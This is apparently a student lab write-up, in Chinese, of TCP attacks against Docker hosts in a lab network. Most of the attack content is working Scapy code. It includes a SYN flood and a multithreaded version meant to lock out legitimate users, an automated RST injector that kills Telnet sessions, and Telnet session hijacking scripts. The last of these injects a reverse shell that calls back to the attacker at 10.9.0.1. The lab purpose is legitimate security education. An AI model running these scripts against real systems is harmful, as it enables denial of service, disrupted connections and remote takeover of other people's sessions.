本实验涉及:
每个系统都会根据自身内存的大小设置syn缓存条目个数,可以通过以下指令查看,一般都是128:
# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
另外还可以使用netstat -nat
查看当前已经建立的连接状况。The state for such connections is SYN-RECV. If the3-way handshake is finished, the state of the connections will be ESTABLISHED.
另外,Ubuntu系统已经制定了关于SYN洪泛攻击的对策,可以通过以下指令开关受害者主机的相关功能:
sysctl -a | grep syncookies #(Display the SYN cookie flag)
sysctl -w net.ipv4.tcp_syncookies=0 #(turn off SYN cookie)
sysctl -w net.ipv4.tcp_syncookies=1 #(turn on SYN cookie)
与此同时,在docker中必须拥有"privileged: true" 才能拥有root权限。并修改相应数据。
通过netstat -nat
我们可以看到受害者主机对外仅开启了23端口的监听,所以只能对其23端口进行洪泛攻击。代码如下:
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
可以看到受害者已经被SYN_RECV塞满了:
此外,我们向受害者发出真正的Telnet请求。在初次尝试登录时等了一会时间才成功登录,而退出重新登录后很快又能登录了:
第一次能否登录完全取决于向受害者发送请求时是否正好有洪泛建立的会话被取消。如果有则或许会成功,如果没有则会一直失败无法登录。
第二次很快登录的原因在于,Telnet会给未成功完成登录的终端留一个监听,如图,这样可以避免Telnet登录时由于网络波动突然掉线的情况:
TCP缓存问题
当遭受洪泛攻击时,攻击前与主机达成连接的主机地址将会被记住,并且临时免疫洪泛攻击,直到其被主机忘却,如图:
可以使用以下指令清空:
ip tcp_metrics flush
TCP重连问题
如上第一次登录,拥有登录成功的可能。因此攻击方可以使用多线程加大发送请求的频率以降低其他用户成功登录的可能性。具体应该使用多少条线程有待实验,应该同时考虑抢占会话位的成功率以及设备的效率。这里提供多线程Python代码:
#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits
import threading
def threadFunc():
ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp
while True:
pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
pkt[TCP].sport = getrandbits(16) # source port
pkt[TCP].seq = getrandbits(32) # sequence number
send(pkt, verbose = 0)
threads_num.release()
threads_num = threading.Semaphore(10)
thread_list=[]
while True:
threads_num.acquire()
t = threading.Thread(target=threadFunc)
thread_list += [t]
print("Thread number:\t",len(thread_list))
t.start()
for t in thread_list:
t.join()
# sysctl net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 128
会话队列中有四分之一会保留给曾经建立过会话的IP地址,所以洪泛攻击只会影响那些从未建立过会话的用户,只能抢占约3/4的队列条目。如图,被洪泛占领的条目仅约总条目的3/4。
不同于Python,C编译的代码拥有更高的速度,不会受到TCP缓存设置的影响,几乎不用考虑会话建立抢不过其他正常用户。
发起攻击后的受害者主机状况:
sysctl net.ipv4.tcp_syncookies=1
发现之前所说的3/4保留的制度不再使用,所有128条目都被占用。但是即使如此,远程陌生用户依然可以正常远程登录:
攻击者针对AB间建立的Telnet会话,通过RST将其中止以实现攻击。
针对当前已经建立好的会话,通过wireshark或tcpdump -alnpt
抓包寻找已经建立好的会话,并尝试中断。
tcpdump
wireshark
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=23, dport=42584, flags="R", seq=1737713337)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
执行自动化之后刚尝试登录即被强制下线:
代码(由于是同向的,所以seq必须要比上一个报文的seq大):
#!/usr/bin/env python3
from scapy.all import *
LOCAL_MAC = '02:42:1b:7d:c0:54'
def spoof_pkt(pkt):
print("data:\t",pkt[TCP].payload)
ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
pkt = ip/tcp
ls(pkt)
#ls(pkt[Ether])
send(pkt, verbose=0)
f = f'tcp and (src port 23) and not (ether src {LOCAL_MAC})'
#f = 'tcp'
pkt = sniff(iface='br-95aa2fc7e5de', filter=f, prn=spoof_pkt)
在AB建立的Telnet会话时,劫持该会话并冒充A让B执行一段恶意指令
#!/usr/bin/env python3
from scapy.all import *
ip = IP(src="10.9.0.5", dst="10.9.0.6")
tcp = TCP(sport=46874, dport=23, flags="A", seq=1290006503, ack=2045652505)
data = "echo \"You\'re hijacked!\" >> ~/a.out\n\0"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
在10.9.0.6
即目标服务器上发现了入侵痕迹:
值得注意的是,当会话被劫持后,原来的用户便无法继续进行,因为他的终端失去了正确的ack与seq,既无法发出信息,也无法接收信息,甚至无法退出。
实现结果:
由于这里不再执行更多指令,所以直接要求劫持程序退出了。与此同时,由于需要用户权限,所以必须等待用户完成登录之后再进行劫持。**这里并未体现完成登录后自动劫持,有一种思路:“正则匹配服务器返回信息,出现‘Welcome’单词则表示登录成功,可以进行劫持”。**代码:
#!/usr/bin/env python3
from scapy.all import *
LOCAL_MAC = '02:42:1b:7d:c0:54'
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data = "echo \"You\'re hijacked! AUTO\" >> ~/a.out\n\0"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
exit(0)
f = f'tcp and (src port 23) and not (ether src {LOCAL_MAC})'
#f = 'tcp'
pkt = sniff(iface='br-95aa2fc7e5de', filter=f, prn=spoof_pkt)
利用会话劫持可以让服务器执行任何权限内可以执行的指令,甚至可以依此再建立一个类似Telnet的劫持程序。本次实验将其简化为使用netcat来进行双向映射。
代码:
#!/usr/bin/env python3
from scapy.all import *
LOCAL_MAC = '02:42:1b:7d:c0:54'
def spoof_pkt(pkt):
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack, ack=pkt[TCP].seq+1)
data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"
pkt = ip/tcp/data
#ls(pkt)
print("Attack succeed!")
send(pkt, verbose=0)
#exit(0)
f = f'tcp and (src port 23) and not (ether src {LOCAL_MAC})'
#f = 'tcp'
pkt = sniff(iface='br-95aa2fc7e5de', filter=f, prn=spoof_pkt)
值得注意的是,本次选取的过滤方式是从服务器向受害者发送的,因为服务器会定时向用户求活,比较稳定;而从用户方则不然,必须等待用户发送消息时才能进行劫持,同时也不便探查服务器发送的报文的seq与ack,不利于生成合法报文。
与此同时,同上述task3的思路,还可以自动检测用户登录以完成自动劫持。“正则匹配服务器返回信息,出现‘Welcome’单词则表示登录成功,可以进行劫持”
TCP确实是一个漏洞百出的协议啊。。